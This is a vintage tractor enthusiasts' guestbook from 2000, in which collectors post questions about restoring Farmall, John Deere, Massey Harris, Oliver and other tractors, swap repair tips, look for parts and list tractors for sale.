Dale Oquinn wrote on Thursday, June 08, 2000 (PDT):To Sarah Sisson on another page in this web site has resent purchase prices Massy Haris Tractors one like yours was listed at 1200 Dollors. We paid 1600 Dollors for the 44 Massey we restored. It trrned into a Like new Show Tractor.
norman wrote on Thursday, June 08, 2000 (PDT):i have a 38 or 39 john deere L i removed the magneto to set and replace points how do i reinstall it to the proper firing order and timing all i seen is 1 punch mark on the magneto gear i cant get it to fire the crankshaft has been moved since i took it out thanks . norm from geneva Ohio 1-1-440-466-3839.
Joshua wrote on Thursday, June 08, 2000 (PDT):I'm looking for a Farmall A, B, or BN. I am 12 years old and want to restore it so I can use it in areas where our Farmall H can't go. My father said that he would pay around $500.00 for a BN that is running or not running, and needs to be restored. But, my father will not go out of the state of Michigan to get it. So if you will sell an A, B, or BN, please E-mail me at breezeme at hotmail.com.
ann knoxx wrote on Tuesday, June 06, 2000 (PDT):i have 1955 IH ID9 it BE WINNER AT TRACTOR PULLS IT UP FOR SELL NOW
ann knoxx wrote on Tuesday, June 06, 2000 (PDT):i have 1955 IH ID9 it BE WINNER AT TRACTOR PULLS IT UP FOR SELL NOW
travis mccormick wrote on Monday, June 05, 2000 (PDT):im not sure but i think i mite have a mh 81 its mising some parts but i still use it to mow around the farm
Sherman Richmond wrote on Monday, June 05, 2000 (PDT):Sirs i have an 53 Farmall Super C Bought new plows and cult excelllent runing condition garage kept new back tires needs paint whatare the going prices. Thanks s F Richmond
DENNIS WILDEY wrote on Monday, June 05, 2000 (PDT):I recently purchased a 1947 farmall M.I would like to know how many quarts of oil it takes and how to check it. This tractor has two cock-pit vavles at different levels on the side of the oil pan. Thank you.
Fred McIntire wrote on Sunday, June 04, 2000 (PDT):I have been looking for a good, all around tractor to use on my 46 acre farm. I Just agreed to buy a gas powered Oliver 770 with a narrow front. This tractor is in excellent condition. Recently painted. It has an after market 3 point with hydraulics and came with a grader blade. It also has the torque amplifier. The tractor is parade ready! I paid $2400 for the tractor. I didn't think this was a bad price considering its condition. Any thoughts on the price? I'm almost ashamed to work such a beautiful tractor in the fields. This tractor also has the whining in the gears or rear end. I'm glad to hear this is characteristic of the Oliver. Does anyone know who refurbishes the steering wheels? Also, is there a company that rebuilds the gauges? The tach is not working. I'm going to buy the owners manual and service manual for this tractor. She is a real beauty!! I can't wait to get her home and start working her!
Rev. Samuel Bryant wrote on Sunday, June 04, 2000 (PDT):Rev. Samuel BryantTo John Chowanes Thanks for your help, you were right on. I pulled the shifter, added 50 thousandths of an inch in order to prevent the shifter pulling two gears in at the same time,and that it wouldn't slip any more and it works great.
Dale Oquinn wrote on Sunday, June 04, 2000 (PDT):TO Loren Alexander, We are restoring a massey 33 Diseal and have the three point hitch you are looking for. The 44 came with a three point hitch on some models, Contact us at Mack Oquinn and Son Tractors 204 Flennie Oquinn LN Cameron NC 28326 (919)-499-2985 E-mail- toquinn at ibelieve.com
Vernon Kirk wrote on Sunday, June 04, 2000 (PDT):Have been looking for a nice Farmall H for about 2 years. Finally found one in Granbury,Tx. Tractor had been completly rebuilt 3 yrs. ago. The only thing the H needs is new tires and the wheels painted. This tractor makes my collection complete.
Danny L. Barnes wrote on Saturday, June 03, 2000 (PDT):What is the weight of the AC G?
RICHARD LANCE GRAFF wrote on Saturday, June 03, 2000 (PDT):I HAVE A BEAUTIFUL 1957 CUB THAT I USE ALMOST DAILY. IWOULD LIKE VERY MUCH TO PUT A SET OF "A" WHEELS ON THE FRONT. I LOVE THE LOOK THEY HAVE. I HAVE BEEN TOLD THAT THIS IS IMPOSSIBLE. I HAVE A NICE SHOP BUT WOULD IT BE WORTH MY TIME TO BUY A SET OF WHEELS OR EVEN A COMPLETE FRONT END AND ATTEMP THIS THANK YOU FOR THIS WONDERFUL SITE R.L.GRAFF HOUSE SPRINGS,MO
Raging wrote on Friday, June 02, 2000 (PDT):Hello Everybody!! Today is a happy day - I just bought my first tractor. It is seriel number 178 844 036. I believe it is from one of the last years Oliver made 770's. She is gas, has power steering, live hydralics, and live pto and cranks out 50 hp or so. Also comes with nice Oliver loader. But I need a 3 point hitch yet. Hope to find one soon, let me know if you have any leads. I plan to use this Oliver on my 100 acre farm. Thanks!!
John Chovanes wrote on Friday, June 02, 2000 (PDT): To Rev Samuel Bryant - To free the M from high gear you may be able free by removing the shifter. First drive the retaining pin from the bottom of the shifter housing. Next lift the stick out of the transmission. Take a flash light and look down into the shifter hole. You will see 3 rails. The rail on the right side is your 4 & 5 gaer slider. Place a long screw driver into the slot on this rail and pry the rail back, until it is in alignment with the other two rails. As the bottom of the shifters wear out, they are no longer long enough to seat in the rail grooves and they will slip out of teh rail leaving the tractor stuck in the last gear that it was in. I hope this is all that it takes, but if that doesn't do it you will have to remove the tranny top plate and physically free the rail from the stuck position.
Clayton Harra wrote on Friday, June 02, 2000 (PDT): I have a SMD-TA I just recently overhauled the motor complete with pistons, sleeves, rings, and bearings. Nothing compares to the response, sound and down right lugging with this tractor in its class. I also have some NOS bearings for a SMD if interested.
Dan Dooley wrote on Thursday, June 01, 2000 (PDT):I agree the G had very few real faults. One of them was not power. However there was was one major design fault it had. The gas tank had too small of a filler hole. You couldn't pour gas in it as fast as the G could burn it.
Leonard Zeller Iowa wrote on Wednesday, May 31, 2000 (PDT):I was almost raised on a D. First tractor I ever drove. I have a picture of me on it as a baby. It had the spoke flywheel and it was on steel but my dad changed it over to rubber. A couple of years after it was traded off for an A, I found out from the dealer that he had let some one use it for running a silage cutter at the silo in the fall and they had water in i and one nigght it froze hard enough, forgot to drain it and cracked the block. Like a dummy, I didn't but it right then, and probably could have for a song. Been sick about it ever since these old tractors have been such a collector item. I have a rear hub for it if anyone would want one. My address is 24858 50th st, cresco, Iowa 52136
Leonard Zeller Iowa wrote on Wednesday, May 31, 2000 (PDT):I never owned a G, my dad almost bought one new in '52 but bought an A instead. A neighbor had one, not sure of the year but just before 1950 or so in there. The one thing I remember about it was one time in the fall this guy pulled a one row chopper for corn silage. I was pulling a wagon along side with a '39 B, 4 speed and I was going up a hill and I had to shift down, so I motioned to him that I had to shift,so all he did waqs pull the throttle back and then he pushed ahead full open, never stopping chopping and I caught up with him and that old G never missed a pop, kept right on chopping and you could count the revolutions on the flywheel and the front end was jumping but it picked up speed again annd never plugged anything. I think it was saying, never say die.
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
Steve LaPlant wrote on Wednesday, May 31, 2000 (PDT):Looking for a good to restored AC-G with front loader
Jack Baker wrote on Wednesday, May 31, 2000 (PDT):I'm going to try this again. Production Serial Numbers for the F-14 FS 124000 to FS 139606 were built in 1938 FS 117518 to FS 155902 were built in 1939
Simon Lidgerwood wrote on Monday, May 29, 2000 (PDT):My father and I have a Massey Harris 44D that we have just started restoring. We are looking for some back tyres for it, I think they are 13*40. My father bought the tractor of his neighbours 7 years ago. It was used on a farm to run an irrigation pumb and had a watch dog fitted to it.
Casey McVea wrote on Monday, May 29, 2000 (PDT):My grandfather was the original owner of an 8N (1952). He used it from 1952-1978 as his farm tractor. The tractor then sat disassembled in a barn for 12 years. My brother recently reassembled and restored the tractor; last week the tractor was submerged in a river in an accident. We towed it out, drained the fluids, replaced them, and it fired on the first try. Why don't they build machines like this anymore? (Don't answer that, I think that we all know the reason.)
Ivan Stevenson wrote on Sunday, May 28, 2000 (PDT):Hi, I have some questions about the MH 81. I'd like to know; 1) if they came with hydralics (hydralic pump, etc) 2) if they came with a 3 point hitch 3) where I can find a shop manual Any help would be appreciated. a shop manual
Dale wrote on Sunday, May 28, 2000 (PDT):i found the serial# on my old farmall it's 1549 D B . any one know how old that would make it?
Dale wrote on Sunday, May 28, 2000 (PDT):i found the serial# on my old farmall it's 1549 D B . any one know how old that would make it?
Travis C. Jones wrote on Sunday, May 28, 2000 (PDT):I have 1947 Farmall B in good shape for sale if interested in Stockdale ,Texas
farmer wrote on Saturday, May 27, 2000 (PDT):I'm looking for a 206-4 block for a 1951/52 mm zau, any one know where I could get one??
N.A.LANE wrote on Friday, May 26, 2000 (PDT):I have a 43 la it's the first deere i have ever owend i got it 3 years ago it's the coolest one to drive becuse since it i have picked up a 48 B + a 64 110. but the LA is the best. the 40' was a great decade. !pop pop pop pop!!!!!.. NIX in FL
Paul Schierbeek wrote on Thursday, May 25, 2000 (PDT):We have a 1937 "B" that we like to sell. it was restored about 10-12 years ago.The tractor run great. We also have the owners manual(cover missing). Also a set of steel wheels for the back. We are located in Holland, MI. Also have a set of lugs of a John Deere "A" in mint condition.
Don Holden, Genoa City, Wisconsin 53128 wrote on Thursday, May 25, 2000 (PDT):Can any tell me where I can find a fast hitch plow for a 1950 Cub. I have a beautiful tractor with (A special front end loader, Grader blade, Roto Tiller and Fast hitch mounted Woods mower) You have to see it to believe it!
patrick cross wrote on Thursday, May 25, 2000 (PDT):I have a 1953 cub . did not know if there was a way to tap into hydraulic system to run a double acting cylinder?
L Morrison wrote on Wednesday, May 24, 2000 (PDT):Thanks for the tip on the serial # location to steve. Mine was 64471 which I presume means it was built in 1930.
Mike Schultz wrote on Tuesday, May 23, 2000 (PDT):I bought a 2010 a year ago. It had new Paint, clutch etc. It is a rowcrop w/utility wide front and loader. Very nice tractor. I find that if you're shifting into the even gears it's best to first put the shifter up into the odd gear in that gate. If you don't sometimes it will grind.
mike kodish wrote on Tuesday, May 23, 2000 (PDT):I have a international harvester cub cadet 102
David King wrote on Tuesday, May 23, 2000 (PDT):I know where there is one of these tractors in Illinois. It's running but needs restoring. How can I find out exactly what year it is,how much that it's worth and just how many are left of them?
Mike Conger wrote on Monday, May 22, 2000 (PDT):I just bought a 2010 JD from a guy who has had it in his barn for the last 5 years. It was running then but had a hydraulic in the mid section. The ser. # shows H 32186, which from what I can find out it's a 1963. How is the utility model different? Does anyone have any information on the 2010 that will help me restore it to new again?
tim smith wrote on Monday, May 22, 2000 (PDT):I have a 1937 KTA TwinCity, it has minniapolis markings on tag, but has just TwinCity casting on radiator, and also is painted with goldenharvest paint. I think to resell a 37 model, they repainted and sold as a 37 with a new colors. Can this be right? If not could you please give me more info, thanks.
robert zoromski wrote on Monday, May 22, 2000 (PDT):looking for a massey harris 101 senior.made in 1938,39.40 any info please reply.
Leroy Campbell wrote on Sunday, May 21, 2000 (PDT):I have a 1952 Tractor for sale. Plows, cultivators and wheat drill for $2500. Leroy Campbell 397 N rush creek rd., Salem, iN. 47167
james hague wrote on Sunday, May 21, 2000 (PDT):greetings from australia i own a farmall am equivalent to super m in america it is fitted with an L4 perkins diesel engine 62 hp fully restored & repainted it goes great I have a problem with tyres 1350x32 unobtainable in australia any clues or help appreciated.
bm wrote on Saturday, May 20, 2000 (PDT):Hey Rob Nickel a good mag is Green magazine
Robert C. Smith wrote on Saturday, May 20, 2000 (PDT):Looking for a front end loader for a Allis Chalmers G.
Ron Larson wrote on Friday, May 19, 2000 (PDT):Looking for a Woods belly mower for my Cub. Prefer 3 blades 48 or 60 inch. I am located in Shelton, Washington. Phone number is 360-427-5192
george davis 5 19 00 wrote on Friday, May 19, 2000 (PDT): I have my dad,s 1940 J D L and a 1937 JD L Ilove them
Barry wrote on Friday, May 19, 2000 (PDT):I have just purchased a Massey Harris 44 special. I am looking for any information and pictures on this tractor and also what year these tractors were made.
adam wrote on Thursday, May 18, 2000 (PDT):will sell or trade b modle allis chambler 1100 cash or trade for good other tractor it is 90% restored
Chelsea wrote on Thursday, May 18, 2000 (PDT):My Dad Is Looking For An ORIGINAL Oil Cap For A B Farmall, Also He Is Looking For A Neumatic Lift And A 1/2 In. Crossover Pipe In Really Good Shape. The Neumatic Lift Screws On The Manifold With 1 1/2 Pipe Thread.
Ron Hayes wrote on Thursday, May 18, 2000 (PDT):I have an International B N tractor for sale w/front cultivators. Engine is seized but most parts are there. will sell for parts. Make me an offer.
Lewis wrote on Wednesday, May 17, 2000 (PDT):I got a 1926 farmall regular from my uncle and want to restore it. Everything is on the tractor and i would like more information on it. Please Email me, thank you.
James D. Wampole Sr. wrote on Wednesday, May 17, 2000 (PDT): I have a 1926 Regular that I have owned since 1991 Hasn`t run since 1984 found cracked head. located another one down the street ,in process of rebuilding complete tractor
DaveS wrote on Wednesday, May 17, 2000 (PDT):I grew up on a farm. Never could afford the "green line" of tractors and my relative was an A-C dealer. We had a WD45, D17, 170, 180, D19, 190, and a 200. All were gas except the 200. I began driving the WD45 on a baler when I was 7 yrs. old and admit the hand clutch was great for "feathering" into hay lumps in windrows to keep the baler from shearing a pin. I still have the 170. It has an A-C 500 series loader on it. It was the most useful tractor on our farm. It has only about 3000 hrs. on it and has been shedded all the time. Really liked the 190 but it had more power than the rear end could handle. A weak spot. The 200 was better in that regard. We had A-C cultivators, A-C plows, an old 60 combine with a Wisconsin V-4 engine, an A-C digger, and an A-C disk. Very few A-C (Agco-Allis now) dealers still left around here. I'll always have a soft spot for those orange tractors even now. Nice to see so many of you out there who have one or like them. The 226 cu. in. 4 cylinder put out a lot of power. Only bad thing about all of the older models was that the poor operator sat down in the dirt when it was dusty/windy. If I could find a nice D14 or D15 I'd buy it as the C that we have a Woods 72" belly mower on is getting a bit touchy to start (6 volt). Sorry I rambled on.
David Makowski wrote on Tuesday, May 16, 2000 (PDT):Was surprised to see an artical from around here. Live in Saint Clair. Have several old Sears Garden Tractors, One Small Old Case front end Loader and just bought an old Yazoo lawn mower. No manuals or information from the seller so I was just looking around. Will try to make it to fair grounds too see your machine. If you know anyone that has info on a Yazoo e-mail me. Thanks Steam Dave
Neal & Carmen Ramber wrote on Tuesday, May 16, 2000 (PDT):We restored a 1948 Farmall Cub that belonged to Neal's Father. When I say restored, I mean it! We took it down piece by piece, had all parts brought in to be sandblasted and painted (international red). Meanwhile, we got in contact with an International Dealer in Alvin Texas and had them order us a Parts and Service Manuel. It was the best $90.00 we could have spent! When we got the tractor from the paint yard, putting it back together was a piece of cake with the manuels. We worked long and hard for 4 months restoring. We are now at a point where our 4 acreas have been cleared (using a Kubota) and we are now cutting with the cub. The yard is so well manicured. Our neighbor is thinking about buying him one. My husband just puts the hand crank in it and she fires up! I wouldn't take anything for it!
Dale Br umm wrote on Tuesday, May 16, 2000 (PDT):While attending the John Deere tractor school in Moline in 1949 the model R was one of the subjects. The first R did not have a compression release and during testing the rack stuck open and it ran faster and faster until the flywheel "exploded". One piece went through the roof and another went through the floor and another broke the wheel off an A that was close by. A new wheel was cast and before testing began a compression release was installed. The reason Deere did not make diesels before was because Catapiller had an interest in John Deere.
Lane Morrison wrote on Tuesday, May 16, 2000 (PDT): I have a Regular, purchased new by my Grandfather, Mills B. Lane. It is restored and running ,but it is missing the top of the air cleaner. It runs a John Deere sickle mower attached to the draw bar.
Roy J. Maricle ll wrote on Tuesday, May 16, 2000 (PDT):Comments; I like you web site! Questtion; How could I find a Ford N-8 or N-9 tractor to buy? (A unrestored tractor)
John & Laura Plecki wrote on Monday, May 15, 2000 (PDT):This is the make and model of tractor I have a picture of Crankshaft on in Lake Village. Talk to you later
Sid wrote on Monday, May 15, 2000 (PDT):1946 Farmall B for sell excellent condition,new paint,good rubber, $1850. OBO. call 903-668-4354 Hallsville,Texas
J. F. Perry wrote on Monday, May 15, 2000 (PDT):Have a 430 Case diesel needs clutch replaced. Does anyone know where I could find parts to get this fine tractor running again? thanks.
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Benny Tyson wrote on Saturday, May 13, 2000 (PDT):My father has an AC model G and would like to find out the engin horse power .
gloria knecht wrote on Saturday, May 13, 2000 (PDT):I RECENTLY BOUGHT A FARMALL A. I AM NOT SURE OF THE YEAR. CAN YOU GIVE ME INFORMATION AS TO WHAT YEAR IT IS? SERIAL#FAA137777. THANK YOU GLORIA
ANDRE BURGOYNE wrote on Saturday, May 13, 2000 (PDT):My father tells me they used to have an old CASE DI that used a right hand clutch whist all the others had the clutch on the left.Could any one tell me why or which particular model this may relate to
Monte Martin wrote on Friday, May 12, 2000 (PDT):I have a 1952 MT that was bought new By my dad new in 1952 it is completly restored, I did put a catagory one Quick hitch on it, and that made it nice for hooking up back blade, sprayer etc. I am looking for a set of rear wheels fo it so i can put duals on it, If anyone knows of any I would be interested in them
Joe Duncalfe wrote on Thursday, May 11, 2000 (PDT):Looking for a Farmall Cub in good running condition.(619)744 2047
JOHN R. CARLSON wrote on Thursday, May 11, 2000 (PDT):I HAVE A FORD 8N TRACTOR MADE IN JAN. 1948. YOU CAN FIND OUT WHEN YOUR TRACTOR WAS MADE BY LOOKING ON THE REAR AXLE HOUSING. IT WILL BE STAMPED. MY TRACTOR WAS LEFT TO ME BY THE GREATEST MAN I'VE EVER KNOWN. MY GRANDFATHER WHO WAS THE ORIGINAL OWNER. I JUST HAD A TOTAL REBUILD ON THE ENGINE. MY GOAL IS A TOTAL RESTORATION. THANKS AND GOD BLESS
Earl wrote on Wednesday, May 10, 2000 (PDT):My brother has a 1946 Case VAC and just replaced the radiator. Problem is he can't find fanbelt or Thermostat anywhere. Can anyone help?
Jos wrote on Wednesday, May 10, 2000 (PDT):Ido, Gefeliciteerd met ow verjoardag. Mooie trekker he, sjon deer steet nog niet in de schaduw.
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Mark Baty wrote on Monday, May 08, 2000 (PDT):I have a 1950 Farmall Cub in excellent original condition. It has front lights, hand crank, 3 yr. old Woods 60" belly mower, wheel weights, wheel chains, moldboard plow, hydraulics, 6' snow plow, 1 year old battery, original tool box, and the lever for using hand lifting instead of hydraulic. I am located near Cleveland, Ohio, and am asking $3500.00 complete. I also have all the original manuals and sales brochure. Mark Baty
D. Martin wrote on Saturday, May 06, 2000 (PDT):My father and i have 3 Farmall M's, a Super c., and a F-20. One of our M's is a 1945 thats putting out close to 70 hp. Our Super C. is putting out arounf 54 hp. we also have a 1951 M LP.Theres a X 1 on the serial number. I would like to know if that means its expeirental because I know thats what it means on a John Deere.
Joel Westrom wrote on Saturday, May 06, 2000 (PDT):I have a MH 44. (I think) Model number 44G1SF serial number 60389. It's been sitting on our farm/summer home for 10-12 years. It was running when we parked it with the exception that the clutch went out. It has a front end loader and looks like its in good condition. We would like to sell it. We are located in Upper Michigan. Anyone interested can e-mail for more information and I would be happy to e-mail you any pictures. Joel Westrom e-mail;joel at joesauction.com
Sten Sderblom wrote on Saturday, May 06, 2000 (PDT):I have a 1949 FORD 8NAN. I have problems with jamming valves which makes the tractor very difficult to start. What could be the reason? By the way I am always using normal unleeded petrol never kerosene. Should the hydraulic be noicy ( say klick klick ) when overloaded? Where could I find drawings for hydraulic equipment + a suitable trailer to carry logs, sand etc. etc. I have once seen a hand brake installed on a 8NA. It was linked to the foot brake. Very practical, the lever was on the right side on top of the gear box. Is this original equipment or someone who got enough of finding the very small, from time to time, not releasing mechanism on the right and the left side down there somewhere? You recognise the problem? Kind Regards Sten
Charlie wrote on Friday, May 05, 2000 (PDT):I have a 1935 B John Deer with a fairbanks moris magenato I need points and cond . anyone know where I can find these??
Coe wrote on Friday, May 05, 2000 (PDT):Could anyone tell me the horsepower available at the PTO for a Farmall M? Thanks;)
Dale Moore wrote on Friday, May 05, 2000 (PDT):Eric, that's a cool ride to a prom. Where did the young lady ride?
Todd Woodfield wrote on Friday, May 05, 2000 (PDT):need part number H703 FELT for an oliver 60 row crop 600017 or a lead ! also i will probaly need additional parts any help will be a blessing
John wrote on Thursday, May 04, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape. The Neumatic Lift screws on the manifold with 1 1/2 pipe thread.
Amanda Stewart wrote on Thursday, May 04, 2000 (PDT):My dad sold his tractor last night.
marlin r clevenger wrote on Wednesday, May 03, 2000 (PDT):have manuauls on f20 f12 and rumly oil pull
Eric Smith wrote on Wednesday, May 03, 2000 (PDT):My family has a 1941 Farmall M and I like it so much I drove it to my Senior Prom this year. It took me awhile to talk my girl friend in to it.
Dover B. wrote on Wednesday, May 03, 2000 (PDT):I am looking at purchasing a Farmall Super A. The current owner says it is a 1948. The problem is we can not find a S# plate. Can someone tell me where the S# plate maybe and/or was located?
DANIEL BOYD wrote on Wednesday, May 03, 2000 (PDT):TO JEFF SCGION,EUGINE SCHACHT,MIKE ELMIRA,FEFF FROM KNOXVILLE TN.AND ANY ONE ELSE LOOKING TO BUY A TOP NOTCH 1953 FARMALL CUB.I HAVE IT FOR 2200. FOR MORE DETALS CALL 865 674 8927
Norman Lumgair wrote on Tuesday, May 02, 2000 (PDT):I am looking for the year of my IHC Farmall Super MD TA tracor. The serial number is 76282 S. Anyone having any information on this tractor please email me at the enclosed address. Thank-you
A Hamel wrote on Tuesday, May 02, 2000 (PDT):I have a 46 or 47 Vao , need a radiator and grille
Bob Presbrey wrote on Monday, May 01, 2000 (PDT):Hi all. My father is restoring an oliver 70 and needs a piece of sheet metal. It is the flat side piece that fits behind the louvered piece. Can anyone help?.....
Bob Presbrey wrote on Monday, May 01, 2000 (PDT):Hi all. My father is restoring an oliver 70 and needs a piece of sheet metal. It is the flat side piece that fits behind the louvered piece. Can anyone help?.....
Rev Samuel Bryant wrote on Monday, May 01, 2000 (PDT):I have a M model Farmall. The trans in locked in high gear. Im looking for ways in which to free it. It has been sitting in a field for years, but it has the potential of being beautiful, and useful again.
Amanda Stewart wrote on Monday, May 01, 2000 (PDT):My father owns a FarmallSuperM tractor with hydraulics that he wants to sell. He is not sure what year it was made. He still uses it every year for hay. If anyone is interested in buying one please write back to me or call him at home his ph. # is (501)728-3281.
mitch wrote on Sunday, April 30, 2000 (PDT):im looking for any allis chalmers g attachments and a left hand plow.
Mark Smart wrote on Sunday, April 30, 2000 (PDT):Working on restoring A 1946 W-9. Trying to find a oversized piston & sleeves rebuild kit to give her a little more grunt for the tractor pull circuit. Havn't been able to find one anywhere. Know where I could find one? Any help is appreciated, so please let me know.
tracy redd wrote on Saturday, April 29, 2000 (PDT):I bought late model B in summer of '99. It was fair shape but, it runs good. the 4th and 6th gear is out . I took it to a man who know a lot about john deere 2 cyl. tractor to fix the transmission. i was trying to find out what the serial #. my serial # plate is badly damage. there no way that i can read the number. that man who fix the transmission said that model B is '52. Is there any other way i can get this number or does anybody knows what to do with serial #. do you think i should get a new one. I really don"t know the serial #. I'm really enjoy work on model B. Right now, I'm fixin' get ready for body work and painting like new. Yeah!!!!! John Deere is #1!!! thank you so much
tracy redd wrote on Saturday, April 29, 2000 (PDT):march 29, 2000 I have 1937 farmall F-20. It run real good. It got a crack outside the engine block. I went to different welding shop and they said they can't weld it, because the crack is too long. and I put putty weld on the block. that keep water from out of the engine. do you think that putty weld will work? I need help to find the engine block. is there anyplace i can find or does anyone know where i can find? thanks.
Rev. Samuel Bryant wrote on Saturday, April 29, 2000 (PDT):I have a model M, the trans is locked in high gear. Im looking for ways in which to free it?
Joe Giannini wrote on Saturday, April 29, 2000 (PDT):Would like to buy a cub 30s, 40s, for a restoration project.
Mark wrote on Saturday, April 29, 2000 (PDT):I have a 1953 Case VAI, which appears to have several coats of yellow paint with gray underneath. I don't know if the gray is a primer. There are very few parts that even resemble anything red. Could anyone please tell me the original color scheme of this tractor?
roger wrote on Friday, April 28, 2000 (PDT):I have a farmall model m with a wide front end. i am trying to get it running to use one the farm. someone said they poured keroscene throught the engine. how did you do this if it isn't running? mine cranks but very slowly. also any ideas on converting to 12v system?
Richard Pavadore wrote on Friday, April 28, 2000 (PDT):I have a 1942-1945 Farmall A tractor. I cannot find the serial number on it. I heard the serial number can be linked to the year. It is in good condition and I use it for hay rides all the time.
kelly wrote on Friday, April 28, 2000 (PDT):if you stay in tractorshed.com select the tractor and then go to the bottom of the page and click on serial numbers and it will give you the date of mfg.
kelly wrote on Friday, April 28, 2000 (PDT):if you stay in tractorshed.com select the tractor and then go to the bottom of the page and click on serial numbers and it will give you the date of mfg.
Chris Poland wrote on Thursday, April 27, 2000 (PDT):500000$and it is sold
Ron Robinson wrote on Wednesday, April 26, 2000 (PDT):I have a 1940 row crop 60 it works most every day the clutch is a little funky and it looks like it's been through WWII but it will still drag a 30'X 12" oak log straight up a 30 degree hill, I had offered it to a freind of mine fo $700.00 but he didn't want it so I still have it (no fenders,no side panels, no lights but a great heart
ed read wrote on Wednesday, April 26, 2000 (PDT):This was the only tractor i ever flipped was my dad pissed
Richard Vaughn wrote on Wednesday, April 26, 2000 (PDT):Would Like to Know how to wire a 1949 Farmall Cub From generator to regulator Etc. thanks Very Much.
marsha smith wrote on Wednesday, April 26, 2000 (PDT):My family has a Farmall A. If the original seat bracket/seat is missing, how do we find out what year the tractor is?
Brad Biggers wrote on Wednesday, April 26, 2000 (PDT):I recently bought an H, between a 1950 and 51. The govenor I was told had been disconnectd but I found the assembly there but some thing is is missing. I need good clear pic's of both sides of the troctor to see what is supposed to be there. E-mail me and make it a bit map image so it can be blown up!
Jack Mc Donald wrote on Tuesday, April 25, 2000 (PDT):Peter Houghton (England) is correct. I grew up with a late 30's Z. It had the sloped out at the bottom red grill, also totally red wheels. I now have a '51 Z. It is very similar to the one pictured except the steering shaft runs fairly straight with the tractor. Hood and grill design is like the one shown.
Tony Bunn wrote on Tuesday, April 25, 2000 (PDT):Where can I find the serial number on my Farmall regular? I found the number 126192N but it is not listed on this website under serial numbers.
Ray wrote on Tuesday, April 25, 2000 (PDT):I have a pony tractor I am restoring. The manufacturer's tag reads Massey-Harris-Ferguson serial# PGA-23598. I cannot find date of mfg. on either Massey-Harris or Ferguson web pages can anyone help?
PETER HOUGHTON. (England) wrote on Tuesday, April 25, 2000 (PDT):The tractor in the photo is definately not 1937. My grandfather bought a Universal Z in 1941. We still have it and it is the same bonnet design as the RT models with the red front grill. The tractor in the photo is much newer than 1937.
Emil Page wrote on Tuesday, April 25, 2000 (PDT):I have a block and other parts for a 77 gas Oliver. Good condition. Am currently restoring a 77 Oliver and WC AC.
marty condon wrote on Monday, April 24, 2000 (PDT):i am looking for a 54 inch rear mount feild cultivator, illinois area, and if anyone has a cub question feel free to email me i have most info so i am pretty well versed, thanks
Guy Guernsey wrote on Monday, April 24, 2000 (PDT):I am looking to buy a case vac tractor with a wide front end
Pam Stiteler wrote on Monday, April 24, 2000 (PDT):4/23/00 I have run one of these tractors Farmall AV. They were used mainlly in the south for surgar cane and tobacco farms. I donn't have my book in front of me but there is a way to tell what year they are by the letters in the serial #. We are restoring one at the moment for the tractor show that is coming up in our area. Would love to here from you on this tractor.
Stew Miskiman wrote on Sunday, April 23, 2000 (PDT):I have a Farmall Cub A that is not running; body is in excellent shape. Also has attached midmount mower. I curious as to how much it's worth. Please respond
Dom Delia wrote on Sunday, April 23, 2000 (PDT):After finding my farmall H rusting in a field for 25 years all I had to do was pound out the pistons with A sledge and A piece of 2x4, hone the cyl's, re-ring,sand and paint it.That was 10yrs ago! these are one tough machine!!!!!!
Gary wrote on Sunday, April 23, 2000 (PDT):I live in upstate NY and own a Farmall B which I am restoring. Does anyone know where I can find a power take off shield and drawbar for my B?
Jim Fenton wrote on Sunday, April 23, 2000 (PDT):I have a 1967 AC D-21 Been Overhauled Appox 19 years ago by neighbor. He got the tractor new in Ill. The kids just used the tractor,putting nothing nor replacing nothing. I purchased the D-21 at a bankrupcy sale for $2250.00 After some work----Alot of time chasing parts, it does run. Now is when the work really comes into play.. you can see where the seals leak, how the breaks hold.. So if anyone has parts or decals, books, manuals, or information an or conversation. I;ld welcome hearing from ya. Thanks for reading this..
G RYAN wrote on Sunday, April 23, 2000 (PDT):I own a 1934 and a 1937 model f-12 I have the narrow front steel wheels if someone needs them make offer. Also I have one good brake cover, one good radiator, a fuel pump that needs a diaphram, and possibly a camshaft and main bearing cap. I am in need of a hand crank, complete mag assy. and an exhaust flange to attatch muffler to the exhaust manifold. Any comments are very well appreciated on where to locate any of these parts. thanks G Ryan
